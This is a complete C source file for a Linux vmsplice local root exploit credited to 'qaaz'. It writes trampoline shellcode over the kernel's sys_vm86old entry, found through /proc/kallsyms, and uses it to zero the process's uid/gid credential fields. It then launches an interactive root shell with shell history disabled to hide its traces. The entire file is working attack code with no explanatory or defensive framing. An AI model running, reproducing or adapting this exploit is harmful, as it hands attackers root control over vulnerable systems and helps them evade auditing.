expat.c

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>

#define TARGET_PATTERN          " sys_vm86old"
#define TARGET_SYSCALL          113

#ifndef __NR_vmsplice
#define __NR_vmsplice           316
#endif

#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()             syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE              (void *) trampoline
#define TRAMP_SIZE              ( sizeof(trampoline) - 1 )

unsigned char trampoline[] =
"\x8b\x5c\x24\x04"              /* mov    0x4(%esp),%ebx        */
"\x8b\x4c\x24\x08"              /* mov    0x8(%esp),%ecx        */
"\x81\xfb\x69\x7a\x00\x00"      /* cmp    $31337,%ebx           */
"\x75\x02"                      /* jne    +2                    */
"\xff\xd1"                      /* call   *%ecx                 */
"\xb8\xea\xff\xff\xff"          /* mov    $-EINVAL,%eax         */
"\xc3"                          /* ret                          */
;

void    die(char *msg, int err)
{
        printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
        fflush(stdout);
        fflush(stderr);
        exit(1);
}

long    get_target()
{
        FILE    *f;
        long    addr = 0;
        char    line[128];

        f = fopen("/proc/kallsyms", "r");
        if (!f) die("/proc/kallsyms", errno);

        while (fgets(line, sizeof(line), f)) {
                if (strstr(line, TARGET_PATTERN)) {
                        addr = strtoul(line, NULL, 16);
                        break;
                }
        }

        fclose(f);
        return addr;
}

static inline __attribute__((always_inline))
void *  get_current()
{
        unsigned long curr;
        __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
        );
        return (void *) curr;
}

static uint uid, gid;

void    kernel_code()
{
        int     i;
        uint    *p = get_current();

        for (i = 0; i < 1024-13; i++) {
                if (p[0] == uid && p[1] == uid &&
                    p[2] == uid && p[3] == uid &&
                    p[4] == gid && p[5] == gid &&
                    p[6] == gid && p[7] == gid) {
                        p[0] = p[1] = p[2] = p[3] = 0;
                        p[4] = p[5] = p[6] = p[7] = 0;
                        p = (uint *) ((char *)(p + 8) + sizeof(void *));
                        p[0] = p[1] = p[2] = ~0;
                        break;
                }
                p++;
        }
}

int     main(int argc, char *argv[])
{
        int             pi[2];
        long            addr;
        struct iovec    iov;

        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);

        printf("-----------------------------------\n");
        printf(" Linux vmsplice Local Root Exploit\n");
        printf(" By qaaz\n");
        printf("-----------------------------------\n");

        if (!uid || !gid)
                die("!@#$", 0);

        addr = get_target();
        printf("[+] addr: 0x%lx\n", addr);

        if (pipe(pi) < 0)
                die("pipe", errno);

        iov.iov_base = (void *) addr;
        iov.iov_len  = TRAMP_SIZE;

        write(pi[1], TRAMP_CODE, TRAMP_SIZE);
        _vmsplice(pi[0], &iov, 1, 0);

        gimmeroot();

        if (getuid() != 0)
                die("wtf", 0);

        printf("[+] root\n");
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", NULL);
        die("/bin/bash", errno);
        return 0;
}